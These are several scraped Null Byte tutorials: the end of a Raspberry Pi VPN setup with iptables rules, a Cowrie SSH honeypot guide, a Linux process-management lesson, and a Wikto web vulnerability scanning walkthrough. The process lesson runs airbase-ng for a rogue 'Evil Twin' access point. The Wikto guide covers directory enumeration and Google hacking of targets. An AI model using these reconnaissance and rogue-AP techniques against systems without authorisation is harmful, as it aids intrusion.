did all the previous steps right, we should have a working VPN now! Just reconnect to the Pi after it reboots. We can test that it is working by running:sudo openvpn --config /etc/openvpn/US.confIf all is working, the last line should read some date, then "Initialization Sequence Completed," and you shouldn't have a command prompt. You can exit out withCtrl-C. If it fails for some reason, then the most likely cause is that you put in your login information wrong, so go back and check it before retrying.Once we have tested that the VPN is connected to PIA and running properly, then we are ready to tell the Pi to run it on boot by typing the command:sudo systemctl enable openvpn@USFrom now on, our Pi will connect every time it starts.Step 9: Enable ForwardingGreat, now we have a working VPN, but to use it as we intend, we need to be able to forward network traffic to the Pi. Just in case you thought we hadn't played around with enoughconffiles yet, we get to open another one by typing:sudo nano /etc/sysctl.confIt's a big file, but we only need to uncomment one line by deleting the "#" before "net.ipv4.ip_forward = 1." When done, it should look like the picture below.Save the file and restart the service to finalize the changes we made. To do this, you could reboot, if you really wanted to, or just do it the easy way withsudo sysctl -p.Next, we need to change the rules for the IPTables. Just copy and paste from below to save time. Copy each line individually and pressEnterafter each one, not the whole thing together.sudo iptables -A INPUT -i lo -m comment --comment "loopback" -j ACCEPTsudo iptables -A OUTPUT -o lo -m comment --comment "loopback" -j ACCEPTsudo iptables -I INPUT -i eth0 -m comment --comment "In from LAN" -j ACCEPTsudo iptables -I OUTPUT -o tun+ -m comment --comment "Out to VPN" -j ACCEPTsudo iptables -A OUTPUT -o eth0 -p udp --dport 1198 -m comment --comment "openvpn" -j ACCEPTsudo iptables -A OUTPUT -o eth0 -p udp --dport 123 -m comment --comment "ntp" -j ACCEPTsudo iptables -A OUTPUT -p UDP --dport 67:68 -m comment --comment "dhcp" -j ACCEPTsudo iptables -A OUTPUT -o eth0 -p udp --dport 53 -m comment --comment "dns" -j ACCEPTsudo iptables -A FORWARD -i tun+ -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPTsudo iptables -A FORWARD -i eth0 -o tun+ -m comment --comment "LAN out to VPN" -j ACCEPTsudo iptables -t nat -A POSTROUTING -o tun+ -j MASQUERADEThe first two lines above enable loopback for those services that require it, and the next two lines allow traffic in from the LAN network and out to the VPN.After that, we enable sockets then NTP (Network Time Protocol) so that the Pi and VPN can synchronize clocks. Then we enable DHCP (Dynamic Host Configuration Protocol) and output through the VPN tunnel. Next, and probably most importantly, we install a kind of kill switch which only allows forwarding when the VPN is alive. In practical terms, this means that once we have a device connected to our Pi, it will be disconnected from the internet whenever the VPN stops working.Unless you really want to reconfigure that every time you start up the Pi, you need to make those changes persistent. To do that, we use the iptables-persistent service, which you can download by running the command:sudo apt-get install iptables-persistentYou will be asked about saving the rules. Naturally, you want to save the current ones, so select "Yes" and pressEnter.If you ever need to update or change the rules for whatever reason, you can do so with thesudo netfilter-persistent savecommand.Since we already did that, we now only need to tell the Pi to run these settings on boot. To do this, type:sudo systemctl enable netfilter-persistentAt this point, we are all done with the Pi side of things! Just reboot to make sure all the updates are working properly. You can do this by runningsudo reboot.Step 10: Direct Traffic to Your PiThe last thing left to do is point whatever devices you want to be using PIA to the Pi's static IP address. It's impossible to go over every device you might want to do this on, but to just give an idea of what needs to be done, let's look at how to do it on Windows 10.To test the result, google "IP" in your browser, and at the top of the search results, Google should tell you your public IP address. Note it down or keep the tab open.Next, go to "Control Panel" -> "Network and Internet" -> "Network Connections," and select "Ethernet" or "Wi-Fi," based on how you're currently connected. I'm on Wi-Fi, so I'll double-click on that, then click on "Details" in the pop-up window.I'm looking for my computer's current IP, you'll want to write that down. You can also find the IP of devices on your network with a program likeNmaporFing, which can be quite helpful when connecting something like an Apple TV.Return to the first popup and click on "Properties." Select "IPv4" by clicking it. You will be brought to a window like the one below. You want your device to keep the same local IP, so fill that in from before. TheSubnet maskshould be255.255.255.0, and then theDefault gatewayis our Pi, so enter our static IP of192.168.1.2. These may be different depending on how you have your network set up and what you put as your static IP back in Step 5.Last, we are using the Google DNS, so change theDNS serverto be8.8.8.8and8.8.4.4, and the whole thing should look something like this when complete.Now we can go back to Google and search "IP" as we did before. If it's working, this time our IP address should be different. Congratulations, your device is now running on a VPN!In general, when connecting devices, just remember to do these steps:Locate the device IP address.Go to "Advanced Wi-Fi/Network" settings.Keep the same IP as before but use the Pi's IP as the gateway.All of Your Devices Can Now Use a VPNNow you can connect any device on your network to PIA to secure your IP address and encrypt your data. In a future article, we will look at how to make this a more mobile setup by turning the Pi into a mobile hotspot that we can take with us anywhere. Thanks for reading! If you have any questions, you can ask them here or hit me up on Twitter@The_Hoid.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Sadmin/Null Byte; Screenshots by Hoid/Null ByteRelatedHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Hide Your IP Address with a Proxy ServerOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootRaspberry Pi:Hacking PlatformHow To:Learn Everything You'll Ever Need to Know About IoTHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Take Control of Sonos IoT Devices with PythonHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WMinecraft:Pi Edition, Coming Soon to a Raspberry Pi Near You
How to Use the Cowrie SSH Honeypot to Catch Attackers on Your Network « Null Byte :: WonderHowTo
The internet is constantly under siege by bots searching for vulnerabilities to attack and exploit. While conventional wisdom is to prevent these attacks, there are ways to deliberately lure hackers into a trap in order to spy on them, study their behavior, and capture samples of malware. In this tutorial, we'll be creating a Cowrie honeypot, an alluring target to attract and trap hackers.A honeypot is a network or internet-attached device designed to be attacked and given a specific set of vulnerabilities. Honeypots usually intend to impersonate the sort of devices that attackers have an interest in, such as web servers.While these devices can appear similar, or even identical, to authentic servers during passive scanning, there are a number of substantial differences between a deliberately-created honeypot and a vulnerable server.These changes attempt to make the honeypot indistinguishable from a production server to any potential hacker who is scanning for open SSH ports to attack, while limiting the actual danger of an insecure server by creating one in a sandboxed environment. This creates something which looks real and appears vulnerable to hackers but does not create the same dangers to a server administrator as a truly vulnerable server would.Cowrieis a honeypot which attempts to impersonate anSSH server, specifically one with weak and easily cracked login credentials. Once an attacker is logged in, they'll have access to a fakeLinux shellwhere they can run commands and receive realistic looking responses, but the attacker will never be able to actually execute these real commands outside of the sandbox honeypot environment. That's because this Cowrie "shell" is in fact not a Linux shell at all. The command-line environment is implemented entirely inPython.Like other honeypots, while fooling the attacker into thinking they're in a server, Cowrie will also log or analyze the attacks which are made against it. This allows for the honeypot administrator to gain an idea of what sort of attacks are being attempted, their general success or failure rate, as well as the geographical location of the IP from which a given attack originates. Cowrie is also capable of attempting to capture information about a specific attacker rather than just the metadata of their attack, such as accidentally exposed SSH fingerprints.Honeypots Help to Understand How Malicious Hackers WorkThe video below demonstrates a real-world attack which was captured and replayed. The hacker attempts to utilize a number of Linux utilities, presumably in order to download and run malware on the server, only to discover that while these commands return many generally normal responses, attempts to actually run malware or steal data seem to fail.Perhaps with or without realizing they are on a honeypot, the attacker eventually becomes frustrated and attempt to delete every file on the system withrm, a command which, of course, also fails due to the protected nature of the honeypot.For researchers, a honeypot is the best way to understand firsthand what sort of attacks are being used in the wild, and as such, be able to more effectively protect against them. A honeypot will attract hackers, some of which will be attempting to install malware automatically or perhaps even some who will directly attempt to access the machine in order to steal whatever data may be on it. Other less effective hackers may manually attempt to attack the machine, as shown in the video above.Honeypots Protect Against & Help Identify BreachesThe presence of a honeypot may also distract some malicious attackers from real targets, and in wasting their time, potentially serve to protect a larger network with real production machines in use. They can also assist in identifying a local network breach, in that if another machine on a LAN is compromised, the evidence may be revealed when the attacker attempts to pivot to the honeypot. If a user on a large network unknowingly is infected by malware, it may be detected after a honeypot receives a login attempt originating from that infected device, and a network administrator then may be able to identify and resolve the issue.A honeypot will never be shared with a real server, nor connected to a real network. Use caution when creating a honeypot, as if it is misconfigured it may create real vulnerabilities. Cowrie is not known to be vulnerable itself, however, bringing attention to a machine as a honeypot leads to a higher possibility of attacks on other services which may have security flaws. With this in mind, you should ensure that wherever you choose to install your honeypot is not being used as a live machine for any other services.Step 1: Choosing Where to Install CowrieCowrie itself doesn't require substantial technical specifications to run. The honeypot can be installed on practically anything with a Linux shell and a network connection, including on aRaspberry Pi.In order to draw attacks over the internet, your honeypot will need to be connected to the internet and available to be port scanned. This port scanning may require adjustments to your router or firewall configurations on your network. One such adjustment may be router-focused port-forwarding to deliberately expose certain ports to the internet.Don't Miss:Use SSH Local Port Forwarding to Pivot into Restricted NetworksRather than draw attention to a local network and adjust the network configuration, one can also use a virtual private server (VPS), a virtual machine instance provided by a hosting provider. Unlike traditional online server spaces, which generally only provide FTP access for hosting websites or files, a VPS provides direct operating system shell access, ideal for installing a honeypot.Image by Image by SADMIN/Null ByteIf you choose to use a Raspberry Pi, it serves a relatively good platform for a honeypot, as its low cost makes the otherwise impractical application of resources to a honeypot easier to justify. Considering that a real server should never be used as both a functioning server and a honeypot at the same time, applying a tiny circuit board computer is a good solution. TheRaspberry Pi 3is an ideal platform as it has the highest specifications of any Pi available. It is available as just the single-board computer or with aconvenient starter kit.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxIn this tutorial, Cowrie is installed on a VPS running Debian. VPS providers generally allow the choice of operating system as well as the amount of memory and CPU cores provided. For running Cowrie, any Linux server-specific distribution will work on even most low-specification server options. Desktop distributions are also functional, although some special-purposed distributions such as Kali Linux may not be ideal due to use of non-standard firewall rules and account privilege configurations.In this tutorial, we're usingDebian, a desktop and server Linux distribution known for stability and security. Other Debian-based distros likeUbuntuorRaspbianare also effective choices.The exposure of a honeypot depends on its network connection. On a VPS, you're setting up the honeypot on the vulnerable port 22, which is exposed to the entire internet, as is true of any other device connected to the internet directly. If, instead, you're looking to detect breached and pivot attempts within that local network, set you honeypot up within a LAN.Step 2: Preparing for Cowrie InstallationThe first step to preparing your server is to make sure it is updated. While the honeypot will deliberately limit the actual exposure of the system, it's good to make sure that the version of Linux in use on the machine you intend to install the honeypot on is up to date and secure.On Debian or Debian-based distros such as Ubuntu, the system can be updated usingapt-get, as shown in the string below. This can be entered into the system command line or over SSH if you're connecting to the system remotely.sudo apt-get update && sudo apt-get upgradeDon't Miss:How to Use the Chrome Browser Secure Shell App to SSH into Remote DevicesOnce you're up to date, we can install some of the Cowrie-specific dependencies by running the command below.sudo apt-get install git python-virtualenv libssl-dev libffi-dev build-essential libpython-dev python2.7-minimal authbindOnce the prerequisites are installed, the next step is to move the actual SSH service to a different port. While the honeypot will impersonate an SSH server on port 22, we'll want to be able to still administrate the system over SSH on a different port. We can specify this in the SSH daemon configuration file. We can edit this file in the Nano text editor, included in most Linux distros, by running the command below in a terminal.sudo nano /etc/ssh/sshd_configChange the number after "Port" from 22 to whatever number you choose, and make sure to remove the "#" symbol from the beginning of the line if it was previously commented out. In this example, I changed the port to "9022." This port number represents the port where we will actually administrate the honeypot, while the vulnerable honeypot service will run on port 22 like a conventional SSH service. It can be set to any number, as long as it is not port 22.After the changed are made to the file, they can be saved within Nano by pressingCtrl + Oand then exiting Nano withCtrl + X. After the SSH configuration is changed, the service can be restarted with systemd by using the command below in a terminal.sudo systemctl restart sshIf you installed on a VPS or wish to connect to your honeypot machine remotely, when using SSH, use the-poption to specify this new port. To connect over SSH to the port 9022, the command below would be used, followed by the address of the server.ssh -p 9022Now, we're ready to begin the initial configuration of Cowrie.Step 3: Installing CowrieThe first step of the installation process is to create a new user account specifically for Cowrie. We can do this with theaddusercommand by running the string below.sudo adduser --disabled-password cowrieThis creates a new user account with no password and a username of "cowrie." We can log into this new user account usingsudo suas in the command shown below.sudo su - cowrieNext, we can clone the Cowrie source code into this new user account's home folder using Git, as shown in the command below.git clonehttps://github.com/micheloosterhof/cowrieNow, we can move into the cowrie folder withcd.cd cowrieWithin this directory, we can create a new virtual environment for the tool by running the command below.virtualenv cowrie-envWe can then activate this new virtual environment:source cowrie-env/bin/activateFrom here, we can use Pip to install additional requirements. First, update Pip with the following command.pip install --upgrade pipNow, install the requirements with the string shown below. Therequirements.txtfile included with Cowrie is used as a reference for the Python dependencies for Pip to install.pip install --upgrade -r requirements.txtThe configuration for Cowrie is defined in two files, cowrie.cfg.dist and cowrie.cfg. By default, only cowrie.cfg.dist is included when the tool is downloaded, but any settings which are set in cowrie.cfg will be assigned priority. To make it slightly more simple to configure, we can create a copy of cowrie.cfg.dist and use it to create cowrie.cfg, such that there is a backup of the original file. We can do this using thecpcommand, as shown in the string below.cp cowrie.cfg.dist cowrie.cfgWe can edit this configuration file in Nano by runningnano cowrie.cfgfrom the command line. The first setting which may be worth changing is the hostname of the honeypot. While this isn't necessary, the default "svr04" may be an indicator that this is a honeypot to an attacker.Next, "listen_port" should be set to "22" rather than "2222," such that attempted connections at the standard SSH port are allowed.We can now make any other changes to the file, save them withCtrl + O, and exit Nano withCtrl + X. After the file is saved, we can also update the port routing configuration for the system by tunning the command below.iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222We can now launch Cowrie by running the string below from the Cowrie folder.bin/cowrie startIf this succeeds, the honeypot is now running! You can also stop it at any time by runningbin/cowrie stop.Don't Miss:Capturing Zero-Day Exploits in the Wild with a Dionaea HoneypotStep 4: Monitoring & Attacking the HoneypotIf we do a network scan likeNmapagainst our server, we'll see that all three of the SSH ports we configured are active. Port 2222 is visible, where Cowrie is running, as well as port 22, the standard SSH port being forwarded by the iptables configuration defined earlier. Lastly, port 9022 is also filtered, the actual SSH administration port in use.If we attempt to connect to port 22 or 2222, we can directly "attack" our own honeypot. The honeypot will accept practically any attempted login credentials, as well as present something which looks like a Linux shell.After logging in to the honeypot on port 22 and attempting to run commands on it, we can review what we did by logging back in on port 9022 to check the logs. These logs are recorded in a format which can be replayed in real-time using the integrated log replay tool. This script can be run followed by the specific log file as an argument in order to replay it in real time.To call the script, use./bin/playlogfrom the Cowrie directory followed by the name of the log you wish to replay. Logs are located in the /log/tty/ directory within Cowrie's root directory, and each is titled procedurally, with the date and time automatically set as the filename. To view the available logs, uselsby runningls log/ttyfrom the Cowrie directory. Once you've selected a log to view, use it as the argument for the playlog script, as shown in the example command below../bin/playlog /home/cowrie/cowrie/log/tty/20171214-154755-fe93f2240ae-0i.logIf your honeypot is connected to the internet, you can just wait until the inevitable probes attempt to log in and drop malware on the machine. Cowrie is open-source and very configurable, and could absolutely be expanded and combined to have further functions to be suitable for a wide variety of honeypot projects. With very minimal setup, it's still very powerful, and a fascinating way to understand the attack landscape of the internet.I hope that you enjoyed this tutorial on the Cowrie honeypot! If you have any questions about this tutorial or Cowrie usage, feel free to leave a comment or reach me on [email protected] Null Byte onTwitter,Google+, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by TAKHION/Null ByteRelatedHow To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1Hack Like a Pro:How to Set Up a Honeypot & How to Avoid ThemHow To:Spy on SSH Sessions with SSHPry2.0How to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Add a Cowrie Shell onto Hemp Macrame JewelryHow To:Advanced System Attacks - Total GuideHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Discover & Attack Services on Web Apps or Networks with SpartaSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHow To:Make a Green Lacy Hemp NecklaceHow To:Run Your Favorite Graphical X Applications Over SSHAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable the New Native SSH Client on Windows 10SSH the World:Mac, Linux, Windows, iDevices and Android.How To:Remotely Control Computers Over VNC Securely with SSHHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Richard Stallman's RiderHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningUDP Flooding:How to Kick a Local User Off the NetworkThe Social Network Wars:Google+ vs FacebookHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxSocial Engineering, Part 1:Scoring a Free Cell Phone
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 8 (Managing Processes) « Null Byte :: WonderHowTo
Welcome back, my novice hackers!In my continuing effort to develop your Linux skills, I now offer you this eighth in my series forLinux Basics for the Aspiring Hacker. In this tutorial, we'll look at system processes and how to manage them.In Linux, a process is a program running in memory. Typically, your computer is running hundreds of processes simultaneously. If they're system processes, Linux folks refer to them asdaemonsordemons. You will often see the process name ending with a "d" suchhttpd, the process or daemon responsible for the http service.Step 1: See What Processes Are RunningWe can see all the processes running on your system by typing:ps auxThese switches will provide all processes (a), the user (u) ,and processes not associated with a terminal (x). This is my favorite set of switches for usingpsas it enables me to see which user initiated the process and how much in resources it's using.Note that each process listed shows us among many things.userPID (process identifier)%CPU%MEM (memory)If we just wanted to see the all the processes with limited information, we can type:ps -AYou can see all the processes running, but without such information as CPU percentage and memory percentage. Note thatairbase-ngis listed withPID 5143and the last process is thepscommand.Process numbers, or PIDs, are critical for working in Linux, as you often need the PID to manage a process. As you might have seen in some of myMetasploit tutorials, the PID often becomes critical in hacking the victim systems.Step 2: The Top CommandSimilar to thepscommand is thetopcommand, except that top shows us only the top processes. In other words, it only shows us the processes using the most resources and it's dynamic, meaning that it is gives us a real-time look at our processes. Simply type:topAs you can see, the processes are listed in the order by how much system resources they are using, and the list is constantly changing as the processes use more or less resources.Step 3: Killing ProcessesSometimes we will need to stop processes in Linux. The command we use iskill. Don't worry, it sounds more violent than it actually is. This command is particularly important if we have a process that continues to run and use system resources, even after we have tried to stop it. These processes are often referred to as "zombie" processes.We can kill a process by simply typing kill and the process ID or PID. So to kill my airbase-ng process, I can simply type:kill 5143We can see in the screenshot above that my airbase-ng process is no longer running.There are many types of "kills". The default kill (when we use the kill command without any switches) iskill 15or the termination signal. It allows the process to cleanup and gently terminate its process.Sometimes, processes still refuse to terminate even when sent the default kill command. In that case, we have to get more serious and use the absolute terminator to do the job. This iskill -9, which takes no prisoners and ends the job without allowing it to say its goodbyes and forces the kernel to terminate it immediately.Step 4: Change Process PriorityEvery process in Linux is given a priority number. As you probably guessed, this priority number determines how important the process is and where it stands in line in terms of using system resources. These priority numbers range from 0 to 127 with 0 being the highest priority and 127 being the lowest.As the root user or system admin, we can't directly determine the priority of a process—that is the job of the kernel—but we can hint to the kernel that we would like a process to run with a higher priority. We can do this through thenicecommand. Nice values range from-20to+19with the lower values indicating a higher priority.We can set a processes' nice value by using thenicecommand, the-nswitch, thevalueof the nice, and then thecommandwe want to run. So, if if we wanted to start our airbase-ng process from ourEvil Twin tutorial with the highest priority, we could type:nice -n -20 airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 11 mon0Later on, if we felt that we wanted to reduce the priority of the airbase-ng command, we couldreniceit. The renice command requires simply therenicecommand, thepriority level, and unlike the nice command, it only takes the processPID, such as:renice 15 5143We can see that by renice-ing the airbase-ng command, we have reduced its priority from -20 (highest) to 15 (relatively low).Step 5: Push a Process into the BackgroundYou probably noticed in running some ofmy hack tutorialsthat when we run a command from the shell terminal, the process will take control of that shell until it is complete. If it's an ongoing process, similar to airbase-ng, it will maintain control of that terminal until we stop it. Until that time, we can't use that shell.If we want to still use that shell, we can send that process into the background and then get control of the shell again. To start a command in the background, we simply need to end the command with the&or ampersand. So, to get airbase-ng to run in the background, we simply type:airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 11 mon0 &If we want to bring a background job to the foreground, we simply typefg. To send a foreground processes to the background, we can typeControl Zto stop it and then and using thebgcommand with the PID to send it to the background.That's It for Now...Stay tuned for more Linux basics for the aspiring hacker. If you haven't checked out the other guides yet, make sure togive them a look. If you have any questions, make sure to comment below or start a thread in theNull Byte forumfor help.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePenguins walkingandpenguin triophotos via ShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)News:What to Expect from Null Byte in 2015Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:Let Me Introduce MyselfCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker Training
Hack Like a Pro: How to Find Website Vulnerabilities Using Wikto « Null Byte :: WonderHowTo
Welcome back, my hacker novitiates!When we are trying to find vulnerabilities in a website to attack, we need a solid web server vulnerability scanner. Internet-facing web apps can open enormous opportunities for us as they are often riven with vulnerabilities and can often offer an entire point to the internal network and resources.Previously, I had showed you how to useniktoinKalito find website vulnerabilities, but here I will show you a Windows-based tool calledWiktothat includes all of the capabilities of the command-line nikto Perl script but with an easy-use GUI and extended features.The Many Benefits of WiktoVulnerabilities in various web scripts are discovered on a regular basis, and Wikto can help you find such flaws on your target. This tool was written bySensepost, a security services firm based in South Africa.Like nikto, Wikto searches for thousands of flawed scripts, common server misconfigurations, and unpatched systems. Wikto addsHTTP fingerprintingtechnology to identify web server types based on their protocol behaviors, even if administrators purposely disguise web serverbanner informationto deceive attackers.What's more, attackers are increasingly turning to well-crafted Google searches to look for vulnerable sites. Security researcher Johnny Long maintains theGoogle Hacking Database(GHDB) list of more than 1,000 Google searches that can locate vulnerable systems and files. Wikto can import the latest GHDB vulnerability list, and then query Google for such holes in your target domain.In addition, Wikto is capable of querying the backend of the website to find directories and files. In this way, we can get an idea of what directories and files are behind the website and what to hack to find confidential or hidden data.Finally, Wikto can spider the website and find all of the links embedded in the site.Now, let's get started with Wikto!Step 1: Download WiktoAs mentioned above, Wikto was developed from the Linux nikto for Windows by Sensepost and given additional capabilities that are not found in nikto itself. The folks at Sensepost have given it an excellent and relatively easy-to-use GUI, and you candownload it here.Step 2: Open WiktoWhen we click on Wikto, we are greeted by the following screen. To start, we need to choose which services of Wikto we want to use first. Let's begin with the Wikto tab near the center of the top menu bar. This the vulnerability scanner based upon nikto.Step 3: Wikto-IngTo begin Wikto-ing (scanning for vulnerabilities), we first need to load the nikto database. Remember, nikto is a website vulnerability scanner and we need to load the signatures of the vulnerabilities. Along the left side bar we see a button labeled "Load Nikto Database". Click on it to load Wikto with the nikto database.Once the database has been loaded, we can begin our scan of the target database. Here I will be scanning thewebscantest.comwebsite, so I put it in the target selection in the left-hand side menu bar. I could have chosen to use the IP address, but since my DNS sever is functioning properly, I'll just use the domain name.Notice that Wikto loads the nikto database into the center column. These are the commands that wikto will run against the website looking for known vulnerabilities. Start the vulnerability scan by clicking on "Start" at the top of the left-hand menu bar.Wikto begins to scan the website for known vulnerabilities, just like nikto, and places the list of vulnerabilities in the lower left side window as seen below.Step 4: Google HackingWikto also has automated Google hacking built in. Google hacking is the ability to use the huge database compiled by Google of nearly every page on the web to find vulnerabilities and hidden files. It relies upon special keywords and syntax that enable us to extract these pages from Google's database.When you click on the "Load Google Hack Database", it populates the upper window with over 1,400 Google hacks that attempt to find key information about the website that may be helpful in hacking it.Step 5: BackEndThis feature of Wikto enables you to find nearly every backend directory and file in the website. By trying to connect to a database of common directories and files and gauging the websites response (201 if it exits and 401 if it doesn't), Wikto is able to find what directories and files that exist behind the frontend site. This can be critical for various hacks and possibly directly traversal to find confidential or hidden files on the website.To run this feature, simply click on the "BackEnd" tab on the top tool bar and then click "Start" at the top of the left menu bar. When you do, Wikto will populate the three columns. Then click on "Start" again and Wikto will begin to try to find the enumerated directories and files.Be patient. This process can take hours, but it is worth it as you will have nearly every directory and file on the backend of the website.As you can see in the screenshot below, Wikto has begun the process of identifying the backend directories and is listing those in the bottom left window named "Discovered Directories". It has also found an indexable directory and eventually, will find files and list them in the "Discovered Files" window.Step 6: SpideringFinally, Wikto can be used to spider a website to find all the links embedded within. Click on the "Spider" tab to the far left of the top menu bar and then click on the "Start" button on the left menu bar. Below, I have spideredwebscantest.comand the external links are displayed in the lower window.Wikto is one more tool in our hacking toolbox to help us gather information and find vulnerabilities in web applications. For those of you still using Windows, Wikto is the nearly perfect tool for web app hacking, and for those of you using Linux, Wikto is one of those few tools that makes it worthwhile keeping a copy of Windows available in a VM or dual boot.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: 